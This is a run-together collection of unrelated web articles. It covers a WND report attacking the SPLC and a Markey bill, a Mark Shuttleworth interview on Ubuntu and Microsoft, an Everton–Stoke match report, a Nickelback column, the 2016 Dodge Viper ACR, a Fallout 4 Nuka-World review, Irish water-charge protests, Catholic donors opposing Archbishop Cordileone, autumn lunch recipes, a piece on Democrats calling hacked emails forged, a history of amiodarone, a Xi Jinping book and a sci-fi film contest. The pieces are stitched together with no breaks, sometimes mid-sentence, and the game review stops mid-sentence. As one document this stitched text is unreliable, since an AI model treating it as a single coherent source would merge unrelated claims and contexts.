Judson Phillips, whose Tea Party Nation also was listed, said SPLC is “the ultimate left-wing hate group. This is a group that is somewhere to the left of Karl Marx, and they hate real Americans.”
WND Editor and CEO Joseph Farah, who long as been personally targeted by SPLC, along with the news site he founded, said, “The Southern Poverty Law Center is hardly a credible watchdog on so-called ‘hate groups.’ In fact, it is a hate group. But, sadly, with its budget of hundreds of millions of dollars and its cozy relationship with government and the media elite, it has more power and influence than most Americans realize. Its hateful finger-pointing at companies and organizations has actually resulted in real acts of violence, as is the case of the Family Research Council shooting attack. I actually consider it a badge of honor to be targeted by the SPLC. But their attacks do come at a price, because they actually do place real targets on the backs of their enemies.”
WND previously reported on the wide range of groups the SPLC labels as “hate groups,” including the World Congress of Families.
SPLC even has attacked the Drudge Report and Breitbart Editor Ben Shapiro.
The looming “hate crimes” reporting plan has been supported by the National Hispanic Media Coalition, as well as the SPLC.
WND reported that the new one-page bill calls for the Justice Department and the U.S. Commission on Civil Rights to “analyze information on the use of telecommunications, including the Internet, broadcast television and radio, cable television, public access television, commercial mobile services, and other electronic media, to advocate and encourage violent acts and the commission of crimes of hate.”
The bill does not define which actions by broadcasters would be considered to have encouraged violence, seemingly leaving that open to interpretation.
Once the report is compiled, the bill calls for “any recommendations” for action “consistent with the First Amendment to the Constitution of the United States” that is determined to be an “appropriate and necessary” way to address the purported encouragement of violent acts.
The Boston Herald took issue with the bill, calling it “frankly chilling” that Markey is seeking to “empower an obscure federal agency to begin scouring the Internet, TV and radio for speech it finds threatening.”
“Perhaps he could crack a briefing book on the crisis in Ukraine rather than looking for his own extra-constitutional methods of punishing speech he finds unacceptable,” added the Herald editorial.Canonical chief executive Mark Shuttleworth says his creation of the Ubuntu GNU/Linux operating system is not motivated in any way by animosity towards Microsoft.
He was responding to queries from iTWire about a recent blog post that has claimed Canonical is becoming the new Microsoft."I admire many of the things they (Microsoft) have done. I think it is as wrong to demonise the people who work at a company as it is to demonise people of a particular colour, nationality or other demographic," Shuttleworth said."I think there are appalling abuses of market dominance that have been perpetrated at Microsoft, and I'm proud of the fact that Ubuntu gives people a real choice between continued serfdom and freedom that is useful, safe and genuine."But I'm not here to punish Microsoft, or hate them, I'm here to build a better way, if I can. It will be hard, but we can. And in the cases where we have common cause, I am happy to work with Microsoft. That may be a hard concept for people who think that life is easier to understand if you have an enemy to make your own cause right, but I find that attitude leads to bigotry and bad results, and makes it impossible to get past the wrongs of the past.The blog post had listed a number of reasons why the writer thought Ubuntu was allegedly becoming the new Microsoft: the inclusion of Mono as a default; the creation of Ubuntu One, a proprietary software repository; removing the GIMP and other applications from Ubuntu; changing the default search engine to Yahoo!; discussion about what proprietary applications should be included in the Ubuntu repositories; and the appointment of Matt Asay as chief operating officer.Shuttleworth did not go into specifics about each of these points, saying instead that "each of the items raised in the blog post you are referring to has been discussed in detail in public forums. I think the folks from Canonical, and leaders in the Ubuntu community, have represented our intentions accurately".He added: "There will be detractors and supporters for any decision we may take which affects our users, but our willingness to act firmly in the face of change is what keeps our platform vibrant and relevant, and we won't shirk that responsibility."Shuttleworth said his personal goal, and that of all the Canonical people he worked with was to bring the benefits of free software to the widest possible audience. "That's our relentless focus, and there are many cases where we have walked the long way round to remain consistent with those principles."He said the vast majority of the work done by Canonical was immediately available to all under free terms. "That includes pieces which are deeply strategic in nature, like Launchpad, which is published under terms compatible with the latest thinking on free web services. The proprietary work we do never involves shipping Canonical-proprietary software in Ubuntu, is limited to network services, helps underwrite all of that, and is entirely optional to those who use Ubuntu. It's also been adopted on other platforms, too."Overall, he said he was very proud of the work Canonical did in the free software community. "If we are as successful as I hope we will be, then the world will for the first time have a commercial grade platform that is freely available to all. That's not true with the existing dominant commercial Linux players. I am entirely devoted to that proposition, and enjoy working in the Ubuntu community with thousands of others who feel the same way.""As it happens, working with Yahoo! never (to the best of my knowledge) involved any dealings with Microsoft. Nor were we willing to accept Microsoft's terms of IP licensing, as Novell did. But if there are constructive places where we can work with Microsoft, or Oracle, or IBM, all of whom ship quite a lot of proprietary software, we certainly will engage openly and in good faith. And I believe we do so with the full support of the leaders of the Ubuntu community."Everton have lost consecutive Boxing Day Premier League matches for the first time since 2000 and 2001
Bojan won and scored 39th-minute penalty
Everton injuries to Jagielka, Howard, Mirallas
Walters not sent off for pulling back clean-through Baines
Stoke leapfrog Everton into 11th place
Bojan Krkic's controversial penalty won a fiercely contested fixture for Stoke as Everton were left counting the cost of injuries and missed chances.
The Spaniard sprinted around James McCarthy and went down, with referee Lee Mason adjudging contact was made.
Bojan scored the spot-kick - with Everton aggrieved that Jonathan Walters wasn't sent off for dragging back Leighton Baines moments earlier.
Media playback is not supported on this device Roberto Martinez says Everton's season is at a 'pivotal moment'
The home side wasted openings and Phil Jagielka and Tim Howard limped off.
Injuries to Toffees captain Jagielka, goalkeeper Howard and winger Kevin Mirallas ahead of a packed festive fixture list will give Everton boss Roberto Martinez as much concern as his side's seventh defeat of the season.
Steven Naismith will miss Sunday's game at Newcastle after picking up his fifth booking of the season for a late challenge on Bojan - one of several feisty incidents at a wet and wild Goodison Park, with a total of 17 minutes stoppage time across both halves.
Stoke leapfrog Everton into 11th place with their first clean sheet in 13 Premier League matches - marshalled superbly by a bandaged Ryan Shawcross, who had half-time stitches in a head wound.
Martinez had criticised his side's "very soft" defending in their 3-0 defeat to Southampton last time out, but his changed backline - with 20-year-old John Stones brought in alongside Jagielka - only lasted 45 minutes.
Ahead of the game, Stoke boss Mark Hughes said his squad had been focusing on "getting the details right" - highlighting individual errors he felt had undermined his side's campaign.
Stoke conceded three clear first-half openings - one to Gareth Barry and two to Mirallas - but keeper Asmir Begovic was well-protected despite some late pressure.
Most of the action came in the first half, with a crunching Glenn Whelan tackle on Stones setting the early tone for a blood-and-thunder encounter.
But the game hinged on two quick-fire decisions from Mason.
Media playback is not supported on this device Mark Hughes
At one end, left-back Baines burst through Stoke's defence and was hauled back crudely by Walters. But the official adjudged that with Baines 45 yards out and other defenders giving chase, it wasn't a definite goal-scoring opportunity.
In a pivotal 60 seconds, Bojan then latched on to a long Whelan clearance, held-off McCarthy, sped around him along the byeline and went down under what appeared to be minimal contact.
Everton manager Roberto Martinez:
"The red card isn't a debate. The moment he gives the free-kick it has to be a red, Leighton Baines is running into a central area in front of goal.
"The game completely changed in that moment.
"With the penalty, you know what striker is looking for. I don't think there's enough contact in that situation.
"It then became a really difficult afternoon for us losing two very important players in Jagielka and Howard."
Stoke City manager Mark Hughes:
"Bojan has done really, really well to get into the box and his back leg is clipped. Under those circumstances as a defender you've got to be really careful. It's a clear penalty."
"We've done the same at City and we won at Tottenham. Our away form is better than our home form. Last year maybe we didn't have the tools to be a threat on the road. Our home form will resolve itself and we'll pick up points there."
In 22 years of Premier League campaigns, Everton have recorded just six Boxing Day wins
Ryan Shawcross recovered from a clash of heads with Romelu Lukaku to lead Stoke to their first clean sheet in 13 matches
This was Roberto Martinez's first defeat to Stoke during his managerial career
Stoke have now beaten four of last season's top six this season, but have failed to beat all three promoted sides
Gareth Barry became the first player in PL history to reach 100 yellow cards
The match was the longest seen in the Premier League this season at 106 minutes and two secondsHating Nickelback is reflexive for many of us. It's become one of those comforting mass-culture validations, like praising the Dalai Lama or distrusting people with Hotmail accounts.
This groupthink methodology has an obvious flaw: The conclusions, though potentially valid, are also quite empty. I've never actually listened to a Nickelback album. I can name only two of their songs at most. Yet I loathe them down to my very marrow.
Info Live Wire Nickelback is scheduled to perform on Friday, October 29, at Cricket Wireless Pavilion.
It occurred to me recently that the loathing I feel for Nickelback isn't really mine; it's secondhand loathing, a meme borrowed from surrogates and thought-leaders who've actually had to suffer through a Nickelback concert or album. Having acknowledged this, I find that my reflexive hatred of all things Nickelback feels cold and illusory. I no longer derive pleasure from it.Dodge is finally bringing back its high-performance Viper ACR coupe for 2016 — set to be the fastest street-legal Viper Track Car Ever — according to the automaker, and will likely go head-to-head with competitors such as the Audi R8, Nissan GT-R and Ford Mustang Shelby GT500.
It’s been quite a few years since we’ve seen one of the brand’s beastly track-ready American Club Racer supercars. The last generation ACR disappeared after the 2010 model year, but not before leaving its mark — a 7:12.13 Nürburgring lap time — beat only by the Nissan GT-R Nismo and Porsche 918 Spyder, based on news from Motor Authority.
That was before a new version of the iconic Viper ACR was revealed at the Conner Avenue Assembly Plant in Detroit last month, and still years before the automaker unveiled its concept at the SEMA show in 2014. However, Snake fans can finally rejoice, as a 2016 Dodge Viper ACR has not only been confirmed, but is set to go on sale in the third quarter of the year.
Search: Dodge Viper Cars for sale
The new model draws its power from an 8.4-liter V-10 pushing a whopping 645 horsepower and 600 pound-feet of torque — the same as its other Viper siblings — linked to a Tremec six-speed manual gearbox. Motor Authority says the brand is focusing on the car’s aerodynamics, brakes and tires rather than boosting its total engine output, which would explain the vehicle’s ability to produce nearly one-ton (or 2,000 pounds) of downforce at a top speed of 177 miles-per-hour, or the fact that it’s capable of sustaining more than 1.5 g on high-speed turns. Both achievements are due fully or in part to the company’s optional Extreme Aero Package — a late availability — that pretties up the Viper with features such as an adjustable two-element rear wing, rear carbon fiber diffuser, removable hood louvers, a detachable front splitter and four dive planes.
And if you’re wondering about the coupe’s other goodies, the 2016 Dodge Viper ACR also sports Kumho Ecsta V720 high-performance tires that help make the car 1.5 seconds faster on the track, an electronic stability control system with Full-on, Sport, Track, Rain, and Full-off modes, an instrument panel cluster hood, and the interior features Alcantara suede with a choice of silver or Header Red accent stitching.
Expect the ultimate Viper to be a real charmer on and off track. Its starting price? — $117,895.Share. A world of spectacular attractions and a puddle-deep story. A world of spectacular attractions and a puddle-deep story.
Abandoned theme parks are popular settings in games these days (see BioShock and virtually any appearance by The Joker) because they’re one of the only places where you can put a whole lot of diverse and interesting over-the-top spectacles right next to each other. That’s in full effect in Fallout 4’s Nuka-World DLC, which is big on sights and surprises but light on meaningful decisions.
Our arrival in Nuka-World is as abrupt and forced, quickly funneling you into a tough arena battle with a raider boss. I found it tough, anyway – I showed up with a level 30 character, which is the minimum level at which the Nuka-World radio signal appears on your Pip-Boy, so I struggled a bit to stay alive long enough to whittle him down in the straightforward process of disabling his shields and then whacking him with everything you’ve got. Of course, if you were to roll in at level 80 or whatever, you’ll likely swat him aside like a bug - such is the nature of Fallout’s generally appreciated lack of level scaling. If you want to be challenged, don’t bring a Fat Man to a gunfight.
Exit Theatre Mode
Simplistically, killing the old boss crowns you the new boss, even though the raider gangs you’re now in charge of have no idea who you are or what you want. Like much of the story that happens to justify your actions here, it doesn’t matter.
“ I was never in one location long enough for it to become monotonous.
Each of Nuka-World’s five attractions feels like its own small DLC adventure, each lasting between one and three hours and revolving around removing the source of various threats that render them uninhabitable. The parks all visually distinct and dense with interesting things to find: from the Galactic Zone’s Space Mountain-style ride and Battlebots homage to the Safari Adventure’s Island of Dr. Moreau and Tarzan references, they’re all great to explore. Some, such as the Western-themed Dry Gulch, are short and easy. Others, like Kiddie Kingdom, are large and hazardous with multiple dungeon locations to be explored. The fast pace of moving from one environment to another meant I was never in one location long enough for it to become monotonous.
They also feel different because each park has its own distinct flavor of enemy types. A few of the inhabitants are brand new, but most are buffed-up creative reskins of existing enemies. Feral ghouls in clown makeup, flying ant swarms, deathclaws crossed with crocodiles, an army of especially nasty Nuka-branded robot variants, and some subterranean critters as well. They’re often surprising in ways that Fallout 4 fights have never been, and sometimes they’re extremely tough (again, I was level 30) but not insurmountable fights.
Exit Theatre Mode
And of course, there are also a lot of collection quests to drive more than 20 hours of exploration, combat, and looting. A tempting suit of high-end power armor in a display case entices you to find dozens of Star Cores that power Nuka-World’s main computer system. The recipe behind Nuka Cola itself (a reference to Coca Cola’s notoriously closely guarded formula) is unlockable by finding enough secrets. This park is densely packed with those rewards.
It’s less generous with new items. There’s a smattering of new loot around Nuka-World, including the three raider gangs’ gaudy armor types and various full-costume suits (like the sexy astronaut in the promo art) that can be found on mannequins, but the most interesting are some new grenade types (one, for instance, summons wild animals) that unlock after you’ve cleared all the parks. Until then most of the useful new items are a ton of potent new Nuka Cola flavors you can craft at a mixing station, including varieties with huge health bonuses, stat boosts, anti-rad effects, and more. That makes picking up regular sodas feel more useful and valuable, though considering each bottle weighs a full pound there’s a cost associated with carrying these as opposed to the rarer meds they substitute for.
“ Nuka-World is much less developed as a roleplaying game and not nearly up to the level of Far Harbor.
While exploration and combat is strong, Nuka-World is much less developed as a roleplaying game and not nearly up to the level of Far Harbor. I wish the concept of being awkwardly shoved into a leadership role and having to balance an uneasy peace between three raider gangs meant more, but as far as I can tell the choices are mostly meaningless. The biggest decision you’ll make outside of whether to kill off the raiders and turn the park over to its oppressed merchants is which gang gets to run which area of the park after you’ve secured them. To test the effects of sloppy management, I gave everything to the animalistic Pack gang, but suffered no consequences. One of the gangs eventually turned on me and forced a shootout, but it appears to be an inevitable event - the other raider leaders remarked the traitor had rebelled because I’d given the other two gangs more than hers, despite two of the three getting nothing at all.
Exit Theatre Mode
Besides which, the choice of which gang or gangs you want to favor seems all but entirely cosmetic. There’s no big philosophical conflict between them to make you want to pick one over the other - they’re just three different flavors of violent psychopath. In hindsight, I wish I’d gone with the Disciples or the Operators because the Pack’s leader suffers from an annoying audio issue where dogs fighting near his throne drown out pretty
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File photo) Source: Google Street View
Stanley said the demonstration was “ludicrous and bizarre” insisting he had opposed water charges since the 1980s and his party’s position is clear.
But Ray Fitzpatrick, the AAA’s coordinator in Laois, claimed that Sinn Féin MEP Lynn Boylan’s recent involvement in a European Parliament report, which recommended progressive water charges regime, indicated the party’s position had changed.
“Sinn Féin has had loads of opportunities to come clean on this and every time they appear to come clean on it there is always something left hanging in the background,” he said.
He called on Stanley, as Sinn Féin’s environment spokesperson, to state clearly that his party will make this a red line issue at the next general election and, if in government, it will abolish Irish Water and water charges.
As well as AAA members with the party’s We Won’t Pay Campaign, activists from Mountmellick Mobile Bin Your Bill Group and Portarlington Against Double Water Tax action also took part.
Diappointed to hear AAA anti water picketing Brian StanleyTD Portlaoise office this morning...what's the (private ) agenda there? — Seán Crowe (@SeanCroweTD) October 14, 2015 Source: Seán Crowe /Twitter
Stanley insisted he had been involved in opposing domestic water charges since the 1980s and said his and Sinn Féin’s positions are clear.
My understanding is that ostensibly the protest was supposed to be about water charges. It’s ludicrous and it’s bizarre. I don’t know how in anyway it would further the anti-domestic water charges movement.
Fitzpatrick said Sinn Féin needed to be clearer on its position and stop “fudging”. Stanley insisted the protest lacked any “political savvy”.
In April, Stanley and finance spokesperson Pearse Doherty published a bill to abolish Irish Water and water charges and said it would be the first act of a Sinn Féin-led government.
However, Sinn Féin has faced criticism from other left-wing parties for not calling for an all-out boycott of water charges.
Anti-water charges campaigners also protested outside Labour senator John Whelan's office in Portlaoise. Source: Ray Fitzpatrick
Last year, Doherty, leader Gerry Adams, and deputy leader Mary Lou McDonald said they would pay their water charges before reversing their positions and boycotting their bills.
After Sinn Féin narrowly lost last year’s Dublin South-West by-election to AAA’s Paul Murphy, who campaigned on a boycott, its candidate Cathal King admitted his party’s stance on the issue had confused voters.
Despite this, Murphy told TheJournal.ie earlier this month that the new Anti-Austerity Alliance – People Before Profit party would be prepared to support Sinn Féin in government:Prominent Catholics call on pope to oust S.F. archbishop
San Francisco Archbishop Salvatore Cordileone is whisked into Sacred Heart Cathedral Preparatory in San Francisco for a lecture and a question-and-answer session with teachers Feb. 6. San Francisco Archbishop Salvatore Cordileone is whisked into Sacred Heart Cathedral Preparatory in San Francisco for a lecture and a question-and-answer session with teachers Feb. 6. Photo: Michael Short / Special To The Chronicle Photo: Michael Short / Special To The Chronicle Image 1 of / 15 Caption Close Prominent Catholics call on pope to oust S.F. archbishop 1 / 15 Back to Gallery
In an unprecedented move, more than 100 prominent Roman Catholic donors and church members signed a full-page ad running Thursday in The Chronicle that calls on Pope Francis to replace San Francisco Archbishop Salvatore Cordileone for fostering “an atmosphere of division and intolerance.”
The plea follows months of dissent within the archdiocese over Cordileone’s emphasis on traditional, conservative church doctrine — including asking high school teachers and staffers at Catholic schools to sign a morality clause that characterizes sex outside of marriage and homosexual relations as “gravely evil.”
In their open letter to the pope, Cordileone’s critics say his morality-clause push is mean-spirited and “sets a pastoral tone that is closer to persecution than evangelization.”
The ad drew swift condemnation from the archdiocese, which said those who signed it don’t speak for San Francisco’s Catholic community.
The list of signatories includes Brian Cahill, the retired executive director of Catholic Charities, former city commissioner and Boudin Bakery executive Lou Giraudo, retired Swinerton Builders Chairman David Grubb, businessman and former political consultant Clint Reilly and his wife, Janet, San Francisco attorney Michael Kelly, and Charles Geschke, chairman of Adobe Systems and former head of the University of San Francisco Board of Trustees. Also on the list is Tom Brady Sr., father of New England Patriots quarterback Tom Brady.
Among their complaints, they say Cordileone:
•Picked a pastor for Star of the Sea parish in the Richmond District “who marginalizes women’s participation in the church by banning girls from altar service” and who provided elementary-school children with a pamphlet about sexuality that asked whether they had masturbated, engaged in sodomy or undergone an abortion.
Photo: ONLINE_YES Prominent Catholics have taken out a full-page ad in The Chronicle...
•Disregards the advice of his own priests and retired priests in favor of “a tiny group of advisers recruited from outside (the) diocese and estranged from their own religious orders.”
•Threatens the long-term health of the archdiocese by adopting a “single-issue agenda” against same-sex marriage.
“It seems he is going in a direction that is completely opposite where Pope Francis is going and creating an atmosphere of complete intolerance,” said Peninsula attorney Frank Pitre who, along with his wife, Diane, signed the letter. “Hopefully, this is going to get someone’s attention.’’
Nibbi Brothers construction executive Larry Nibbi, who also signed the letter, said the archbishop “is just causing a lot of discord, especially with the young people in the diocese.”
“The crux of our worry is that the faithful are going to become very disenchanted and stop going to church because they don’t like the message, and the message is not the way they lead their lives,” Nibbi said.
Neither The Chronicle’s business department nor those associated with the ad would say how much it cost. We’re told, however, that full-page ads typically run in the tens of thousands of dollars.
A statement by the archdiocese provided to us Wednesday called the ad “a misrepresentation of Catholic teaching, a misrepresentation of the nature of the teacher contract, and a misrepresentation of the spirit of the archbishop. The greatest misrepresentation of all is that the signers presume to speak for 'the Catholic Community of San Francisco.’
“They do not.”
The statement also said archdiocese officials have “met with a broad range of stakeholders. Together, we have engaged in a constructive dialogue on all of the issues raised in this ad. We welcome the chance to continue that discussion.’’
According to a source familiar with the drafting of the open letter to Francis, the disaffected Catholics first considered running the ad weeks ago. They held off while they appealed to church higher-ups — including the papal representative in Washington — to address their concerns.
When nothing came of that, they went public.
Incidentally, don’t expect Cordileone to start soft-pedaling his opposition to same-sex marriage. He’s encouraging the faithful to join him at a big march in the nation’s capital in favor of “traditional” marriage on April 25, three days before the U.S. Supreme Court hears arguments in a case that could result in the justices declaring a constitutional right for gays and lesbians to wed.
San Francisco Chronicle columnists Phillip Matier and Andrew Ross appear Sundays, Mondays and Wednesdays. Matier can be seen on the KPIX TV morning and evening news. He can also be heard on KCBS radio Monday through Friday at 7:50 a.m. and 5:50 p.m. Got a tip? Call (415) 777-8815, or e-mail [email protected]. Twitter: @matierandrossKale pesto, roast pumpkin, celeriac remoulade and roasted radicchio are easy to make and will have you looking forward to lunchtime
Pumpkins are in season and people are arguing over when it’s OK to start wearing tights (call us crazy, but surely when your legs are cold?). It’s official, then: welcome, season of mists, Puffa jackets, and a new range of delicious veg. Surely, we can’t be the only impulse shoppers to buy a massive bag of kale at the weekend, only to find it at the back of the fridge, forgotten, on Thursday?
• Save your on-the-edge kale by making pesto: blanch in boiling water, drain and pat dry. Remove any tough stalks. Blitz with olive oil, sea salt, pepper, a handful of skinned nuts (optional), and a chunk of hard cheese, such as parmesan or mature cheddar. Add more oil as needed, season to taste. We sometimes add anchovies. Refrigerate until needed. Mix through warm, cooked pasta for a speedy lunch. Upgrade a shop-bought sandwich or soup with a dollop – it’s great in minestrone.
• Pumpkins tend to end up as soup or filled with tealights but, as with most veg, they benefit from roasting. Cut a small pumpkin into 2-3cm wedges. Lay on a foil-lined baking tray. Drizzle with olive oil, sea salt, a good grinding of pepper, a pinch of chilli flakes, and any other spices you fancy adding – try fennel, cumin or caraway seeds. Roast at 200C/400F/gas mark 6 until tender and caramelised. Chop into chunks, then mix with a drained tin of chickpeas, adding the roasting juices. To make a dressing, add 1 tbsp tahini, the juice of half a lemon, 1 crushed garlic clove and a pinch of sea salt to a small jam jar and shake to combine. Pour over your pumpkin and chickpea salad at lunchtime. A squirt of chilli sauce would also be good.
Our 10 best autumn recipes: Cook the Seasons part 3 Read more
• Our favourite thing to make with celeriac is remoulade. Peel and cut a small celeriac into thin batons – or use a julienne peeler. Combine with around 2 tbsp creme fraiche, the juice of ½ lemon and 2 tsp dijon mustard, season to taste. Spread on a lightly toasted bagel and drape with smoked salmon for a dreamy seasonal sandwich. Leftover remoulade is delicious for lunch or dinner with a hot, buttered baked potato.
• Bitter leaves are beautifully wintry but, well, a bit too salady for when it’s nippy out. A roasted radicchio open sandwich is mellower and much more filling. Cut a head of radicchio in half and lay on a small foil-lined baking tray. Drizzle with olive oil, a little balsamic vinegar, season, then roast at 180C/350F/gas mark 4 until tender. Transfer to a plastic container, shave over some parmesan, then eat at lunch on top of a couple of slices of toast.
Caroline Craig and Sophie Missing are authors of The Little Book of Lunch (Square Peg)Top Democrats have repeatedly waved off substantial questions arising from their hacked emails by falsely implying that some of them are forgeries created by Russian hackers.
The problem with that is that no one has found a single case of anything forged among the information released from hacks of either Clinton campaign or Democratic Party officials.
The strategy dates all the way back to a conference call with Democratic lawmakers in August. Politico reported that a number of Democratic strategists suggested that Russian hackers — who have been blamed by U.S. intelligence agencies for supplying the emails to Wikileaks and other web sites — could sprinkle false data among the real information.
Since then, despite the complete lack of evidence to support such a claim, it’s become a common dodge among leading Democrats and the Clinton campaign when asked questions about the substance of the emails.
Clinton strategist Joel Benenson, asked about an email in which Clinton campaign staffers decide to accept foreign lobbyist money, used that line on MSNBC on Sunday.
“These emails, we have no idea whether they’re authentic or not,” he said. “Or whether they’ve been tampered with. I know I’ve seen things that aren’t authentic, that we know aren’t authentic, and it’s not surprising.”
Clinton’s running mate, Virginia Democratic Sen. Tim Kaine, also suggested that the emails may have been doctored during an appearance on Meet the Press on Sunday.
“The one [email] that has referred to me was flat-out completely incorrect,” he said. “So I don’t know whether it was doctored or whether the person sending it didn’t know what they were talking about. Clearly, I think there’s a capacity for much of the information in them to be wrong.”
Kaine appeared to be referring to a July 2015 email to Clinton campaign chair John Podesta from political consultant Erick Mullen. In the email, Mullen claimed a man named Bob Glennon has informed two Democratic senators that Clinton “has personally told Tim Kaine he’s the veep.”
Clinton may or may not have selected Kaine as her running mate a year before announcing it publicly. However, that doesn’t mean the email is a forgery. It was simply Mullen’s view of things. Podesta’s response to the email is itself jovial: “And here I thought it was going to be me.” No one has alleged the email as it was published on Wikileaks is a forgery.
The Intercept contacted Benenson to point to any emails he believes are inauthentic. He did not respond.
Jennifer Granholm, a senior adviser to the pro-Clinton Super PAC Correct the Record, was asked by CNN’s Jake Tapper whether the Clinton campaign should be responding to revelations revealed by Wikileaks.
“There are reports that these have been doctored,” she told Tapper on October 19. “And Newsweek had found that, in fact, that was happening.”
Granholm was referring, inaccurately, to a blog post by Kurt Eichenwald where the Newsweek writer pointed out that the English-language, Russian-owned news website Sputnik had misreported the contents of one of the emails. But there was no evidence that the email itself as it existed on the Wikileaks website was false or doctored. Eichenwald himself added to the misunderstanding by posting a series of tweets imputing that the email had been forged — by Russian leader Vladimir Putin.
In an interview with CNN’s Wolf Blitzer on October 18, Rep. Adam Schiff, D-Calif., a ranking member on the House Intelligence Committee, was asked if the Russian government would impact the election by hacking voting systems.
“What worries me the most … is between now and the election the Russians dump information that is fabricated,” Schiff warned. “To get a last minute dump of emails that contain fabricated emails that are widely reported in the press, and there isn’t enough time to fact check and demonstrate the forgery, that is what really concerns me.”
CNN host Wolf Blitzer pushed back, “But have you confirmed that any of these emails released over the past two weeks, if you will, by Wikileaks are fabricated or doctored?”
“You know I’m not in a position to be able to do that,” Schiff demurred.
The Democrats’ muddy-the-waters strategy has had some success. For example, the popular fact-checking website Politifact wrote an article on Sunday titled: “Are the Clinton WikiLeaks emails doctored, or are they authentic?”
The article cited numerous claims by Democrats that they cannot verify the authenticity of the emails and a number of experts who claimed that it is in fact possible that false information is in the emails. But the writer also noted that the Clinton campaign has not offered any evidence that any of the emails have been doctored.
Ordinarily, if there is no supporting evidence for a claim, PolitiFact has no problem declaring it false. But in this case PolitiFact reached no conclusion — and actually went so far as to raise the possibility that the Clinton campaign does have proof that the emails have been doctored, but isn’t sharing it for political reasons.
(Ironically, the website has no problem citing the emails to fact-check other statements).
The strategy has not been entirely effective. There has still been discussion about the contents of Clinton’s private speeches to megabanks like Goldman Sachs, her campaign team’s coordination with Super PACs, and the candidate’s affinity for Wal-Mart, among other topics.
The Washington Post published a lengthy article on Tuesday delving into the internal squabbling among Clinton aides and allies over the candidates use of a private email server. And the Wikileaks disclosure of a 13-page memo by former Bill Clinton aide Doug Band formed the basis of a Post article Thursday that showed how Band co-mingled the clients of his for-profit consulting firm Teneo with the former president’s speaking clients and financial backers of the Clinton Foundation.Amiodarone (Cordarone, Pacerone) is the most effective, and certainly, the strangest, antiarrhythmic drug ever developed. (Here is a review of the unusual efficacy and the unusual side effects of amiodarone.) One of the strangest aspects of the drug is its history. It is a history that explains much about why, to this day, many of the more unusual features of the drug are poorly understood by many doctors who prescribe it.
Development
Amiodarone was developed by a Belgian company in 1961 as a drug for treating angina (chest discomfort related to coronary artery disease) and quickly became a popular anti-angina drug in Europe and South America. However, by the choice of the drug company (probably to avoid the unusually tough American regulatory environment), amiodarone was not offered for release in the United States.
After a few years a physician in Argentina, Dr. Mauricio Rosenbaum, noticed that amiodarone seemed to reduce cardiac arrhythmias in his patients with heart disease. He began using the drug extensively for heart rhythm disturbances and then began to publish his results, which were extraordinarily impressive. Clinicians from all over the world (except in the United States) quickly began using the drug to treat cardiac arrhythmias of all sorts. The reputation of amiodarone spread far and wide—amiodarone, the word was, was a unique antiarrhythmic drug that almost always worked, and had virtually no side effects.
Both of these assertions, of course, proved false.
Use in America
Beginning in the late 1970s, American electrophysiologists (heart rhythm specialists) began to obtain amiodarone from Canada and Europe to use in their patients with life-threatening arrhythmias who did not respond to any other drugs. (The FDA sanctioned this activity on a compassionate-use basis.) The early word from Americans seemed to confirm what was being said all over the world—amiodarone was very safe and very effective.
Within a few years, more than 10,000 American patients with potentially lethal arrhythmias were estimated to be receiving amiodarone. Of course, because of the way amiodarone was being distributed, nobody really knew how many patients were receiving the drug. More importantly, because the FDA was not involved in any of this (except to approve of the use of the drug for compassionate reasons), nobody was compiling information on the drug's effectiveness or safety.
Side Effects Discovered
However, many American doctors studied the effects of amiodarone on their own patients somewhat more rigorously than our overseas colleagues had done. As a result, within a year or two, our view of amiodarone began to change. Amiodarone was indeed more effective at suppressing arrhythmias than any other drug we had ever seen (though by no means as effective as had been advertised), but it produced a bizarre series of side effects including difficult thyroid disorders, skin discoloration, and potentially life-threatening lung toxicity that doctors around the world seemed to have "missed." The side effects had been missed, for the most part, because they were so unusual and unexpected and because their onset tended to be insidious and late.
When the side effects of amiodarone began to be described in medical publications, the FDA became reluctant to approve the drug. However, the FDA soon had little choice. In the mid-1980s, the foreign manufacturers of amiodarone threatened to cut off the American supply (not entirely unreasonably, since they had supplied free drugs to thousands and thousands of Americans for more than 5 years). Simply cutting Americans off from the drug would produce a medical (and hence, possibly a political) disaster. So, in 1985, in sharp contrast to any other drug in modern history, amiodarone became FDA-approved without rigorous, FDA-sanctioned randomized clinical trials.
FDA Approval
Respectful of the drug's newly-discovered and very troublesome toxicity, the FDA approved the drug only for life-threatening arrhythmias for which no other treatment was feasible, and required a black-box warning regarding its dangerous side effects. Noting that the drug was indeed very effective for non-life-threatening arrhythmias, the FDA urged the manufacturers to conduct randomized clinical trials to gain formal approval for indications such as atrial fibrillation, noting that conducting such trials would teach us much about true incidence and seriousness of the drug's side effects. Those trials were never done (possibly because such trials are very expensive, and by this time the patent on amiodarone was expiring, opening the door for generic manufacturers to begin selling it), and the original restrictions on the use of amiodarone have persisted to this day.
And as a result, the use of amiodarone for atrial fibrillation (the most common reason it is prescribed today) remains off-label.
Bottom LineSeven Years as an Educated Youth delves into president's experiences during period of change.
A customer reads Xi Jinping's Seven Years as an Educated Youth in Wangfujing Bookstore Beijing, on Sunday. [Photo by Zhu Xingxin/China Daily]
A newly published book of the seven years that President Xi Jinping spent at a poor village four decades ago has gained popularity soon after its debut, with many analysts saying the book is encouraging and enlightening.
The book, Xi Jinping's Seven Years as an Educated Youth, was a collection of interviews with people who used to live and work with Xi when he was a zhiqing, or educated youth, in Liangjiahe village, Yanchuan county, Shaanxi province, from 1969 to 1975.
Zhiqing refers to urban youths sent to the countryside for "re-education" amid late chairman Mao Zedong's campaign for urban youth to experience rural labor during the "cultural revolution" (1966-76). Xi was only 15 when he was sent to Liangjiahe in early 1969.
The book was brought out by the Publishing House of the Party School of the CPC Central Committee.
He Yiting, executive vice-president of the Party School of the CPC Central Committee, said Liangjiahe was Xi's first stop to get into society, and his life in the village had a great influence on him.
After its debut last week, the book became so popular that the publishing house staff has been working around the clock to meet demand, he said at a seminar on Sunday to discuss the book.
The book is a vivid text for young people to set up a positive outlook on their lives, and it also tells Party officials of all levels about how to act in accordance with the Party's discipline, he added.
In the book, 29 people were interviewed, including some other "educated youths" who worked with Xi in the village and Liangjiahe villagers who worked with Xi for years. They recalled how Xi strove to help farmers and remain optimistic about life in the difficult period.Sponsored by the Parramatta City Council, and a part of the Parramatta Sci-Fi Film Festival activities, the 2014 Project Sci-fi competition, in partnership with Screen My Shorts, challenges filmmakers from around the globe to write, film, edit, produce and upload to YouTube a 3-10 minute long film with a science-fiction theme. On offer are prizes totalling $5,500 Australian dollars.
